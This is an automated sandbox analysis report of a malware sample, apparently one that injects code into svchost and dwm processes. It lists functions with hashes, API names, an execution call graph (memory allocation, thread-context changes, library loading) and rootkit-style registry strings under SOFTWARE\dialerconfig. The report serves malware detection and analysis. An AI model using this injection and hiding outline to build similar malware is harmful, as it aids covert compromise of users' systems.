                                            Function 000002A6613050D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction ID: 9fa3ce34b8c865c90ad51e3620c2008df4696012e5c82a0db968548b5f0cb8e8
                                            • Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
                                            • Instruction Fuzzy Hash: 1002E832A19B8487EB60CB55F49835AB7E4F3C5B91F140015EA8E97BA8DF7DC488CB41
                                            Function 000002A661305710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentThread
                                            • String ID:
                                            • API String ID: 2882836952-0
                                            • Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction ID: 94fa4eeebce64f2b49e1f32bc3357c48cfb3c794009292f3f2d6159d2374f774
                                            • Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
                                            • Instruction Fuzzy Hash: AE61F636A19B44C7E7608B15E44C31AB7E8F389B85F580115EA8E57BA8DF7CC548CF82
                                            Function 000002A661314104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 66361736f5e8a90f3f2d0b71ac309b0d3cb3498acf01c0f7b7fefb88f4f0f5d8
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: F211A022F10A5123F6641568E95F369354C6B7BBBCF5C0634E977277E6CF2CC84A8202
                                            Function 000002A6612E3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: _set_statfp
                                            • String ID:
                                            • API String ID: 1156100317-0
                                            • Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction ID: 22cd65d3b8f6dd6f7d9b94902791a143805ac03df98696b6fd4da49aabfe5191
                                            • Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
                                            • Instruction Fuzzy Hash: F2118F22F10AD113FA649539F44D36911CD7B5FB76E4C8638A966073F68F2CCACD4202
                                            Function 000002A6612DF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: _invalid_parameter_noinfo
                                            • String ID: Tuesday$Wednesday$or copy constructor iterator'
                                            • API String ID: 3215553584-4202648911
                                            • Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction ID: 0bf1e752806efdf3d6918c8cb5621e3440e718aefe77ceb97043c9c5cc2f889e
                                            • Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
                                            • Instruction Fuzzy Hash: 80618E66F0024047FB658B75E54C32B66ADEB87F40F5D4519CA4A177A8DF3CC9CE820A
                                            Function 000002A66130AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CallEncodePointerTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3544855599-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: af1233a52f56241061660763b27a88547fce862d6649db4ccb4df901e0d389cc
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 86614932B00B848AEB20DF65E44839D77E4F345B89F084215EE4A27BA8DF78C599C781
                                            Function 000002A66130AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 71553aecd4e6c0be1a45bd4f8553e36c14cf70e2545c3f161416fa0a9a176b52
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: 7F519272B002808BEB648F25A49C35977E8F356F86F1C4119DA8A67BE5CF7CD458C782
                                            Function 000002A6612DA178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
                                            • String ID: csm$csm
                                            • API String ID: 3896166516-3733052814
                                            • Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction ID: 9e9e64640e33ee222bca170c8ee76b8c2aa3a2d202631a961c3e70975ee64d6a
                                            • Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
                                            • Instruction Fuzzy Hash: CE515B32E042808BEBA48B26D44CB5877ADFB56F84F1C5116DA9987AE5CF7CD4D88702
                                            Function 000002A6612D8405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction ID: 8201e1b19b336b27b06942c19ab8646d026c506d3e7787226ca7cd4a84cb06ae
                                            • Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
                                            • Instruction Fuzzy Hash: 4751AF32F112008BEB14CB15E40CB59379DFB52F98F9AA124DA064378CEF38D9C89706
                                            Function 000002A6612D83E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentImageNonwritable__except_validate_context_record
                                            • String ID: csm$f
                                            • API String ID: 3242871069-629598281
                                            • Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction ID: cefbc8a046af985220aa2329bd1f73024f30a7703efedaf0860a35be415e2574
                                            • Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
                                            • Instruction Fuzzy Hash: 94317A35B1168097E7149B21E84C75937ACFB42F88F5A9018EE5A03788DF3CC988D706
                                            Function 000002A661312058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: FileWrite$ConsoleErrorLastOutput
                                            • String ID:
                                            • API String ID: 2718003287-0
                                            • Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction ID: daab32c25a9fadadc3e1a32652520a2a78c62dababe1d4e9fdec7867a8e6883d
                                            • Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
                                            • Instruction Fuzzy Hash: 7AD1E332B14A808AE711CFB5D54939C3BB9F356B98F284215DE5AB7B99DF38C40AC341
                                            Function 000002A6613014A4 Relevance: 6.3, APIs: 5, Instructions: 42memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$Free
                                            • String ID:
                                            • API String ID: 3168794593-0
                                            • Opcode ID: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction ID: 921e1a85b60784aa0bba0433d9b0249e05675eea00effd83e5fc34bb76f58227
                                            • Opcode Fuzzy Hash: ccd79a5c24cc2b6b77d5d0d776de3086a7ca9ca8278a44c8c605b81f59301eca
                                            • Instruction Fuzzy Hash: D5118BB6A00AD0C7E714DFA2A80D25977B8F78AF85F084035EA4A23726DF7CC058C741
                                            Function 000002A661312980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ConsoleErrorLastMode
                                            • String ID:
                                            • API String ID: 953036326-0
                                            • Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction ID: f98e1d8c780189fb48322b240abb3135e65948d30303f15e17900ffbada13fd6
                                            • Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
                                            • Instruction Fuzzy Hash: 85918E72B1065486FB609F75994E3AD3BA8B747F98F284109DE0B77694DF38C48AC702
                                            Function 000002A661307960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
                                            • String ID:
                                            • API String ID: 2933794660-0
                                            • Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction ID: 1cc862d301829f27dd78957ba1fd8c5096fa0c01cbaac4e6f591e442f6dc95cb
                                            • Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
                                            • Instruction Fuzzy Hash: 14111F32B10F418AEB409B60E8593A833B8F719B58F480D21DA6E57794DF7CC1988381
                                            Function 000002A66130253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction ID: a77167060b87a4fc452a4d9a47af32d2e27e7869f2a7b79b94de1e5e43e7598e
                                            • Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
                                            • Instruction Fuzzy Hash: 3571A436B0078147EA25DE35994C3AA67E8F386F95F580016DD0B63B89DF39C54DC782
                                            Function 000002A6612D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: CallTranslator
                                            • String ID: MOC$RCC
                                            • API String ID: 3163161869-2084237596
                                            • Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction ID: 4c1e01fd7d14f6ffb4a4eaa44a0f6dfd295677d667dd27de79d18e1f6fb3ebd9
                                            • Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
                                            • Instruction Fuzzy Hash: 21614832F00B848AEB20DF65D48879D77A8FB45B88F084216EF4917B99DF38D199C701
                                            Function 000002A661302330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: FileType
                                            • String ID: \\.\pipe\
                                            • API String ID: 3081899298-91387939
                                            • Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction ID: 8b65ca84562374e5dcff84955426101dcfa6df48021d4bc966f847153521bb2b
                                            • Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
                                            • Instruction Fuzzy Hash: 03519232B0478183E664DA39A65C3AAA6E9F386F41F4A0125DD5B33B59DF3DC50C87C2
                                            Function 000002A6613126F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ErrorFileLastWrite
                                            • String ID: U
                                            • API String ID: 442123175-4171548499
                                            • Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction ID: 435cc8df130a4e77d3710c788b2ddf4808abbc3271533ea666418ec5651f9c6f
                                            • Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
                                            • Instruction Fuzzy Hash: E941E672B14A8087DB20DF25E94D3AA77A4F38AB94F584021EE4E97784DF7CC405C741
                                            Function 000002A6613094A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: ExceptionFileHeaderRaise
                                            • String ID: csm
                                            • API String ID: 2573137834-1018135373
                                            • Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction ID: b3e6afc7812eff5d23d9e2531ddbd3c8dde3b3595130f4102b15f64d21df9287
                                            • Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
                                            • Instruction Fuzzy Hash: 5A115832604B8082EB218F15E448359B7E8FB89F94F1D4220EE8E17B68DF3CC555CB40
                                            Function 000002A6612D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: ierarchy Descriptor'$riptor at (
                                            • API String ID: 592178966-758928094
                                            • Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction ID: 0f3f6b22aa811685f5e546128debed61f89d1e56892167602ce41c22e1950124
                                            • Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
                                            • Instruction Fuzzy Hash: FDE04F65B50B8591DB028F62E8482D833A89B5AB64B489122D95C07311EB3CD2EDC301
                                            Function 000002A6612D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238218318.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a6612d0000_svchost.jbxd
                                            Similarity
                                            • API ID: __std_exception_copy
                                            • String ID: Locator'$riptor at (
                                            • API String ID: 592178966-4215709766
                                            • Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction ID: 93a3ced56bc647de6299b8a1905d2a6032edb69f7bc4320d41604ef82ca62c1f
                                            • Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
                                            • Instruction Fuzzy Hash: AEE08666F10B4481DF028F71E4441D87368EB5AF54B8C9122C95C07311EF3CD2E9C301
                                            Function 000002A661301BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$Process$AllocFree
                                            • String ID:
                                            • API String ID: 756756679-0
                                            • Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction ID: 72cf71b4c8bcd0622c645fc165e77207b5f5e2b8a8cfb2fde8c47a753de635a3
                                            • Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
                                            • Instruction Fuzzy Hash: FC115B75B01B8482EA04DB66A80D22A73E9EB8AFC5F1C4028DE4E67765DFBCC446C341
                                            Function 000002A661301268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000024.00000002.3238343628.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_36_2_2a661300000_svchost.jbxd
                                            Similarity
                                            • API ID: Heap$AllocProcess
                                            • String ID:
                                            • API String ID: 1617791916-0
                                            • Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction ID: b5369b631e5731d7a483f2840394a7dd6d44661382897b8f9f01a4c4ceb7f075
                                            • Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
                                            • Instruction Fuzzy Hash: 18E065B5B01A4487EB088FA2D80D34A36E5FB8AF06F09C024CD0A07361DFFD8499CB91

                                            Execution Graph

                                            Execution Coverage:1.3%
                                            Dynamic/Decrypted Code Coverage:94.3%
                                            Signature Coverage:0%
                                            Total number of Nodes:106
                                            Total number of Limit Nodes:16
                                            execution_graph 22146 2baaee0273c 22147 2baaee0276a 22146->22147 22148 2baaee027c5 VirtualAlloc 22147->22148 22149 2baaee027ec 22147->22149 22148->22149 22150 2baaedd3ab9 22153 2baaedd3a06 22150->22153 22151 2baaedd3a70 22152 2baaedd3a56 VirtualQuery 22152->22151 22152->22153 22153->22151 22153->22152 22154 2baaedd3a8a VirtualAlloc 22153->22154 22154->22151 22155 2baaedd3abb GetLastError 22154->22155 22155->22151 22155->22153 22156 2baaedd28c8 22158 2baaedd290e 22156->22158 22157 2baaedd2970 22158->22157 22160 2baaedd3844 22158->22160 22161 2baaedd3866 22160->22161 22162 2baaedd3851 StrCmpNIW 22160->22162 22161->22158 22162->22161 22163 2baaeda273c 22164 2baaeda276a 22163->22164 22165 2baaeda27c5 VirtualAlloc 22164->22165 22168 2baaeda28d4 22164->22168 22167 2baaeda27ec 22165->22167 22165->22168 22166 2baaeda2858 LoadLibraryA 22166->22167 22167->22166 22167->22168 22169 2baaedd5cf0 22170 2baaedd5cfd 22169->22170 22171 2baaedd5d09 22170->22171 22179 2baaedd5e1a 22170->22179 22172 2baaedd5d3e 22171->22172 22174 2baaedd5d8d 22171->22174 22173 2baaedd5d66 SetThreadContext 22172->22173 22173->22174 22175 2baaedd5efe 22177 2baaedd5f1e 22175->22177 22191 2baaedd43e0 VirtualFree 22175->22191 22176 2baaedd5e41 VirtualProtect FlushInstructionCache 22176->22179 22187 2baaedd4df0 GetCurrentProcess 22177->22187 22179->22175 22179->22176 22180 2baaedd5f23 22182 2baaedd5f77 22180->22182 22183 2baaedd5f37 ResumeThread 22180->22183 22192 2baaedd7940 IsProcessorFeaturePresent RtlCaptureContext RtlLookupFunctionEntry RtlVirtualUnwind capture_previous_context 22182->22192 22184 2baaedd5f6b 22183->22184 22184->22180 22186 2baaedd5fbf 22188 2baaedd4e0c 22187->22188 22189 2baaedd4e53 22188->22189 22190 2baaedd4e22 VirtualProtect FlushInstructionCache 22188->22190 22189->22180 22190->22188 22191->22177 22192->22186 22193 2baaedd554d 22195 2baaedd5554 22193->22195 22194 2baaedd55bb 22195->22194 22196 2baaedd5637 VirtualProtect 22195->22196 22197 2baaedd5663 GetLastError 22196->22197 22198 2baaedd5671 22196->22198 22197->22198 22199 2baaedd1abc 22204 2baaedd1628 GetProcessHeap 22199->22204 22201 2baaedd1ad2 Sleep SleepEx 22202 2baaedd1acb 22201->22202 22202->22201 22203 2baaedd1598 StrCmpIW StrCmpW 22202->22203 22203->22202 22205 2baaedd1648 _invalid_parameter_noinfo 22204->22205 22249 2baaedd1268 GetProcessHeap 22205->22249 22207 2baaedd1650 22208 2baaedd1268 2 API calls 22207->22208 22209 2baaedd1661 22208->22209 22210 2baaedd1268 2 API calls 22209->22210 22211 2baaedd166a 22210->22211 22212 2baaedd1268 2 API calls 22211->22212 22213 2baaedd1673 22212->22213 22214 2baaedd168e RegOpenKeyExW 22213->22214 22215 2baaedd18a6 22214->22215 22216 2baaedd16c0 RegOpenKeyExW 22214->22216 22215->22202 22217 2baaedd16e9 22216->22217 22218 2baaedd16ff RegOpenKeyExW 22216->22218 22260 2baaedd12bc 13 API calls _invalid_parameter_noinfo 22217->22260 22220 2baaedd1723 22218->22220 22221 2baaedd173a RegOpenKeyExW 22218->22221 22253 2baaedd104c RegQueryInfoKeyW 22220->22253 22224 2baaedd1775 RegOpenKeyExW 22221->22224 22225 2baaedd175e 22221->22225 22222 2baaedd16f5 RegCloseKey 22222->22218 22228 2baaedd1799 22224->22228 22229 2baaedd17b0 RegOpenKeyExW 22224->22229 22261 2baaedd12bc 13 API calls _invalid_parameter_noinfo 22225->22261 22262 2baaedd12bc 13 API calls _invalid_parameter_noinfo 22228->22262 22231 2baaedd17d4 22229->22231 22232 2baaedd17eb RegOpenKeyExW 22229->22232 22263 2baaedd12bc 13 API calls _invalid_parameter_noinfo 22231->22263 22236 2baaedd1826 RegOpenKeyExW 22232->22236 22237 2baaedd180f 22232->22237 22233 2baaedd176b RegCloseKey 22233->22224 22234 2baaedd17a6 RegCloseKey 22234->22229 22240 2baaedd1861 RegOpenKeyExW 22236->22240 22241 2baaedd184a 22236->22241 22239 2baaedd104c 5 API calls 22237->22239 22238 2baaedd17e1 RegCloseKey 22238->22232 22242 2baaedd181c RegCloseKey 22239->22242 22244 2baaedd1885 22240->22244 22245 2baaedd189c RegCloseKey 22240->22245 22243 2baaedd104c 5 API calls 22241->22243 22242->22236 22247 2baaedd1857 RegCloseKey 22243->22247 22246 2baaedd104c 5 API calls 22244->22246 22245->22215 22248 2baaedd1892 RegCloseKey 22246->22248 22247->22240 22248->22245 22264 2baaede6168 22249->22264 22251 2baaedd1283 GetProcessHeap 22252 2baaedd12ae _invalid_parameter_noinfo 22251->22252 22252->22207 22254 2baaedd11b5 RegCloseKey 22253->22254 22255 2baaedd10bf 22253->22255 22254->22221 22255->22254 22256 2baaedd10cf RegEnumValueW 22255->22256 22257 2baaedd1125 _invalid_parameter_noinfo 22256->22257 22257->22254 22257->22256 22258 2baaedd114e GetProcessHeap 22257->22258 22259 2baaedd116e GetProcessHeap HeapFree 22257->22259 22258->22257 22259->22257 22260->22222 22261->22233 22262->22234 22263->22238

                                            Executed Functions

                                            Function 000002BAAEDD1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000026.00000002.3267881526.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_38_2_2baaedd0000_dwm.jbxd
                                            Similarity
                                            • API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
                                            • String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
                                            • API String ID: 106492572-2879589442
                                            • Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
                                            • Instruction ID: 1cd993aa2e4ca2ca68512b5fa9006a8bf35805f96022a16a3de0c38e9af3347a
                                            • Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
